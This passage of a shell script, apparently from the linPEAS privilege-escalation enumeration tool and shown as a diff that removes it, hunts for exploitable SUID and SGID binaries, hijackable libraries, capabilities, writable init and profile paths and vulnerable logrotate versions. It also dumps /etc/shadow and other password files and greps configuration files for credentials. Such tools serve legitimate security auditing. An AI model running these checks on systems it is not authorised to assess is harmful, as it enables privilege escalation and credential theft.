printf "%s\n" "$PSTORAGE_SPLUNK" | sort | uniq | while read f; do
|
||||
printf "%s\n" "$PSTORAGE_SPLUNK" | grep -v ".htpasswd" | sort | uniq | while read f; do
|
||||
if [ -f "$f" ] && ! [ -x "$f" ]; then
|
||||
echo "passwd file: $f" | sed "s,$f,${SED_RED},"
|
||||
cat "$f" 2>/dev/null | grep "'pass'|'password'|'user'|'database'|'host'|\$" | sed -${E} "s,password|pass|user|database|host|\$,${SED_RED},"
|
||||
|
||||
@@ -1,723 +0,0 @@
|
||||
###########################################
|
||||
#----------) Interesting files (----------#
|
||||
###########################################
|
||||
|
||||
check_critial_root_path(){
|
||||
folder_path="$1"
|
||||
if [ -w "$folder_path" ]; then echo "You have write privileges over $folder_path" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
|
||||
if [ "$(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')')" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
|
||||
if [ "$(find $folder_path -type f -not -user root 2>/dev/null)" ]; then echo "The following files aren't owned by root: $(find $folder_path -type f -not -user root 2>/dev/null)"; fi
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
##-- IF) SUID
|
||||
print_2title "SUID - Check easy privesc, exploits and write perms"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
|
||||
if ! [ "$STRINGS" ]; then
|
||||
echo_not_found "strings"
|
||||
fi
|
||||
if ! [ "$STRACE" ]; then
|
||||
echo_not_found "strace"
|
||||
fi
|
||||
suids_files=$(find $ROOT_FOLDER -perm -4000 -type f ! -path "/dev/*" 2>/dev/null)
|
||||
for s in $suids_files; do
|
||||
s=$(ls -lahtr "$s")
|
||||
#If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
|
||||
if echo "$s" | grep -qE "^total"; then break; fi
|
||||
|
||||
sname="$(echo $s | awk '{print $9}')"
|
||||
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
|
||||
true #Don't do nothing
|
||||
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
|
||||
echo "You own the SUID file: $sname" | sed -${E} "s,.*,${SED_RED},"
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits)
|
||||
echo "You can write SUID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else
|
||||
c="a"
|
||||
for b in $sidB; do
|
||||
if echo $s | grep -q $(echo $b | cut -d % -f 1); then
|
||||
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
|
||||
c=""
|
||||
break;
|
||||
fi
|
||||
done;
|
||||
if [ "$c" ]; then
|
||||
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
|
||||
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo "$s (Unknown SUID binary!)" | sed -${E} "s,/.*,${SED_RED},"
|
||||
printf $ITALIC
|
||||
if ! [ "$FAST" ] && [ "$STRINGS" ]; then
|
||||
$STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do
|
||||
sline_first="$(echo "$sline" | cut -d ' ' -f1)"
|
||||
if echo "$sline_first" | grep -qEv "$cfuncs"; then
|
||||
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path
|
||||
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable
|
||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
|
||||
fi
|
||||
else #If not a path
|
||||
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/' && echo "$sline_first" | grep -Eqv "\.\."; then #Check if existing binary
|
||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done
|
||||
if ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ "$STRACE" ] && ! [ "$NOTEXPORT" ] && [ -x "$sname" ]; then
|
||||
printf $ITALIC
|
||||
echo "----------------------------------------------------------------------------------------"
|
||||
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
|
||||
OLD_LD_LIBRARY_PATH=$LD_LIBRARY_PATH
|
||||
export LD_LIBRARY_PATH=""
|
||||
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
|
||||
printf $NC
|
||||
export LD_LIBRARY_PATH=$OLD_LD_LIBRARY_PATH
|
||||
echo "----------------------------------------------------------------------------------------"
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done;
|
||||
echo ""
|
||||
|
||||
|
||||
##-- IF) SGID
|
||||
print_2title "SGID"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
|
||||
sgids_files=$(find $ROOT_FOLDER -perm -2000 -type f ! -path "/dev/*" 2>/dev/null)
|
||||
for s in $sgids_files; do
|
||||
s=$(ls -lahtr "$s")
|
||||
#If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
|
||||
if echo "$s" | grep -qE "^total";then break; fi
|
||||
|
||||
sname="$(echo $s | awk '{print $9}')"
|
||||
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
|
||||
true #Don't do nothing
|
||||
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
|
||||
echo "You own the SGID file: $sname" | sed -${E} "s,.*,${SED_RED},"
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits)
|
||||
echo "You can write SGID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else
|
||||
c="a"
|
||||
for b in $sidB; do
|
||||
if echo "$s" | grep -q $(echo $b | cut -d % -f 1); then
|
||||
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
|
||||
c=""
|
||||
break;
|
||||
fi
|
||||
done;
|
||||
if [ "$c" ]; then
|
||||
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
|
||||
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo "$s (Unknown SGID binary)" | sed -${E} "s,/.*,${SED_RED},"
|
||||
printf $ITALIC
|
||||
if ! [ "$FAST" ] && [ "$STRINGS" ]; then
|
||||
$STRINGS "$sname" | sort | uniq | while read sline; do
|
||||
sline_first="$(echo $sline | cut -d ' ' -f1)"
|
||||
if echo "$sline_first" | grep -qEv "$cfuncs"; then
|
||||
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path
|
||||
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable
|
||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline)\n"
|
||||
fi
|
||||
else #If not a path
|
||||
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/'; then #Check if existing binary
|
||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline)\n"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done
|
||||
if ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ "$STRACE" ] && [ ! "$SUPERFAST" ]; then
|
||||
printf "$ITALIC"
|
||||
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
|
||||
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
|
||||
printf "$NC"
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done;
|
||||
echo ""
|
||||
|
||||
##-- IF) Misconfigured ld.so
|
||||
if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$IAMROOT" ]; then
|
||||
print_2title "Checking misconfigurations of ld.so"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld-so"
|
||||
printf $ITALIC"/etc/ld.so.conf\n"$NC;
|
||||
cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
cat /etc/ld.so.conf 2>/dev/null | while read l; do
|
||||
if echo "$l" | grep -q include; then
|
||||
ini_path=$(echo "$l" | cut -d " " -f 2)
|
||||
fpath=$(dirname "$ini_path")
|
||||
if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
|
||||
printf $ITALIC"$fpath\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
for f in $fpath/*; do
|
||||
printf $ITALIC" $f\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
cat "$f" | grep -v "^#" | sed -${E} "s,$ldsoconfdG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
done
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Capabilities
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Capabilities"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
|
||||
if [ "$(command -v capsh)" ]; then
|
||||
echo "Current env capabilities:"
|
||||
(capsh --print 2>/dev/null | grep "Current:" | sed -${E} "s,$capsB,${SED_RED_YELLOW}," ) || echo_not_found "capsh"
|
||||
echo "Current proc capabilities:"
|
||||
(cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status"
|
||||
echo ""
|
||||
echo "Parent Shell capabilities:"
|
||||
(capsh --decode=0x"$(cat /proc/$PPID/status 2>/dev/null | grep CapEff | awk '{print $2}')" 2>/dev/null) || echo_not_found "capsh"
|
||||
else
|
||||
echo "Current capabilities:"
|
||||
cat /proc/self/status | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s,0000000000000000|0000003fffffffff,${SED_GREEN},g"
|
||||
echo ""
|
||||
echo "Shell capabilities:"
|
||||
cat /proc/$PPID/status | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s,0000000000000000|0000003fffffffff,${SED_GREEN},g"
|
||||
fi
|
||||
echo ""
|
||||
echo "Files with capabilities (limited to 50):"
|
||||
getcap -r / 2>/dev/null | head -n 50 | while read cb; do
|
||||
capsVB_vuln=""
|
||||
|
||||
for capVB in $capsVB; do
|
||||
capname="$(echo $capVB | cut -d ':' -f 1)"
|
||||
capbins="$(echo $capVB | cut -d ':' -f 2)"
|
||||
if [ "$(echo $cb | grep -Ei $capname)" ] && [ "$(echo $cb | grep -E $capbins)" ]; then
|
||||
echo "$cb" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
capsVB_vuln="1"
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if ! [ "$capsVB_vuln" ]; then
|
||||
echo "$cb" | sed -${E} "s,$capsB,${SED_RED},"
|
||||
fi
|
||||
|
||||
if ! [ "$IAMROOT" ] && [ -w "$(echo $cb | cut -d" " -f1)" ]; then
|
||||
echo "$cb is writable" | sed -${E} "s,.*,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Users with capabilities
|
||||
if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Users with capabilities"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
|
||||
if [ -f "/etc/security/capability.conf" ]; then
|
||||
grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||
else echo_not_found "/etc/security/capability.conf"
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) AppArmor profiles to prevent suid/capabilities abuse
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
if [ -d "/etc/apparmor.d/" ] && [ -r "/etc/apparmor.d/" ]; then
|
||||
print_2title "AppArmor binary profiles"
|
||||
ls -l /etc/apparmor.d/ 2>/dev/null | grep -E "^-" | grep "\."
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
##-- IF) Files with ACLs
|
||||
print_2title "Files with ACLs (limited to 50)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||
else
|
||||
( (getfacl -t -s -R -p $SEARCH_IN_FOLDER 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||
fi
|
||||
|
||||
if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v getfacl)" ]; then #Find ACL files in macos (veeeery slow)
|
||||
ls -RAle / 2>/dev/null | grep -v "group:everyone deny delete" | grep -E -B1 "\d: " | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||
fi
|
||||
echo ""
|
||||
|
||||
##-- IF) Files with ResourceFork
|
||||
#if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then # TOO SLOW, CHECK IT LATER
|
||||
# print_2title "Files with ResourceFork"
|
||||
# print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#resource-forks-or-macos-ads"
|
||||
# find $HOMESEARCH -type f -exec ls -ld {} \; 2>/dev/null | grep -E ' [x\-]@ ' | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
|
||||
#fi
|
||||
#echo ""
|
||||
|
||||
##-- IF) .sh files in PATH
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title ".sh files in path"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path"
|
||||
echo $PATH | tr ":" "\n" | while read d; do
|
||||
for f in $(find "$d" -name "*.sh" 2>/dev/null); do
|
||||
if ! [ "$IAMROOT" ] && [ -O "$f" ]; then
|
||||
echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED},"
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then #If write permision, win found (no check exploits)
|
||||
echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},";
|
||||
fi
|
||||
done
|
||||
done
|
||||
echo ""
|
||||
|
||||
broken_links=$(find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken)
|
||||
if [ "$broken_links" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Broken links in path"
|
||||
echo $PATH | tr ":" "\n" | while read d; do
|
||||
find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} "s,broken,${SED_RED},";
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
##-- IF) Date times inside firmware
|
||||
if [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "FIles datetimes inside the firmware (limit 50)"
|
||||
find "$SEARCH_IN_FOLDER" -type f -printf "%T+\n" 2>/dev/null | sort | uniq -c | sort | head -n 50
|
||||
echo "To find a file with an specific date execute: find \"$SEARCH_IN_FOLDER\" -type f -printf \"%T+ %p\n\" 2>/dev/null | grep \"<date>\""
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Executable files added by user
|
||||
print_2title "Executable files potentially added by user (limit 70)"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
find / -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems" | sort -r | head -n 70
|
||||
else
|
||||
find "$SEARCH_IN_FOLDER" -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "/site-packages|/python|/node_modules|\.sample|/gems" | sort -r | head -n 70
|
||||
fi
|
||||
echo ""
|
||||
|
||||
|
||||
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Unsigned Applications"
|
||||
macosNotSigned /System/Applications
|
||||
fi
|
||||
|
||||
##-- IF) Unexpected in /opt
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
if [ "$(ls /opt 2>/dev/null)" ]; then
|
||||
print_2title "Unexpected in /opt (usually empty)"
|
||||
ls -la /opt
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
##-- IF) Unexpected folders in /
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Unexpected in root"
|
||||
if [ "$MACPEAS" ]; then
|
||||
(find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
|
||||
else
|
||||
(find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Files (scripts) in /etc/profile.d/
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Files (scripts) in /etc/profile.d/"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#profiles-files"
|
||||
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
|
||||
(ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/"
|
||||
check_critial_root_path "/etc/profile"
|
||||
check_critial_root_path "/etc/profile.d/"
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Files (scripts) in /etc/init.d/
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Permissions in init, init.d, systemd, and rc.d"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d"
|
||||
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
|
||||
check_critial_root_path "/etc/init/"
|
||||
check_critial_root_path "/etc/init.d/"
|
||||
check_critial_root_path "/etc/rc.d/init.d"
|
||||
check_critial_root_path "/usr/local/etc/rc.d"
|
||||
check_critial_root_path "/etc/rc.d"
|
||||
check_critial_root_path "/etc/systemd/"
|
||||
check_critial_root_path "/lib/systemd/"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Hashes in passwd file
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_list "Hashes inside passwd file? ........... "
|
||||
if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IF) Writable in passwd file
|
||||
print_list "Writable passwd file? ................ "
|
||||
if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IF) Credentials in fstab
|
||||
print_list "Credentials in fstab/mtab? ........... "
|
||||
if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IF) Read shadow files
|
||||
print_list "Can I read shadow files? ............. "
|
||||
if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
print_list "Can I read shadow plists? ............ "
|
||||
possible_check=""
|
||||
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
|
||||
|
||||
print_list "Can I write shadow plists? ........... "
|
||||
possible_check=""
|
||||
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
|
||||
|
||||
##-- IF) Read opasswd file
|
||||
print_list "Can I read opasswd file? ............. "
|
||||
if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo ""
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IF) network-scripts
|
||||
print_list "Can I write in network-scripts? ...... "
|
||||
if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IF) Read root dir
|
||||
print_list "Can I read root folder? .............. "
|
||||
(ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Root files in home dirs
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Searching root files in home dirs (limit 30)"
|
||||
(find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_RED},") || echo_not_found
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Others files in my dirs
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Searching folders owned by me containing others files on it (limit 100)"
|
||||
(find $ROOT_FOLDER -type d -user "$USER" ! -path "/proc/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec dirname {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Readable files belonging to root and not world readable
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Readable files belonging to root and readable by me but not world readable"
|
||||
(find $ROOT_FOLDER -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Modified interesting files into specific folders in the last 5mins
|
||||
print_2title "Modified interesting files in the last 5mins (limit 100)"
|
||||
find $ROOT_FOLDER -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED},"
|
||||
echo ""
|
||||
|
||||
##-- IF) Writable log files
|
||||
if command -v logrotate >/dev/null && logrotate --version | head -n 1 | grep -Eq "[012]\.[0-9]+\.|3\.[0-9]\.|3\.1[0-7]\.|3\.18\.0"; then #3.18.0 and below
|
||||
print_2title "Writable log files (logrotten) (limit 50)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#logrotate-exploitation"
|
||||
logrotate --version 2>/dev/null || echo_not_found "logrotate"
|
||||
lastWlogFolder="ImPOsSiBleeElastWlogFolder"
|
||||
logfind=$(find $ROOT_FOLDER -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 50)
|
||||
printf "%s\n" "$logfind" | while read log; do
|
||||
if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then #Only print info if something interesting found
|
||||
if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC;
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log";
|
||||
elif ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders" && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g";
|
||||
fi
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
echo ""
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
##-- IF) Files inside my home
|
||||
print_2title "Files inside $HOME (limit 20)"
|
||||
(ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found
|
||||
echo ""
|
||||
|
||||
##-- IF) Files inside /home
|
||||
print_2title "Files inside others home (limit 20)"
|
||||
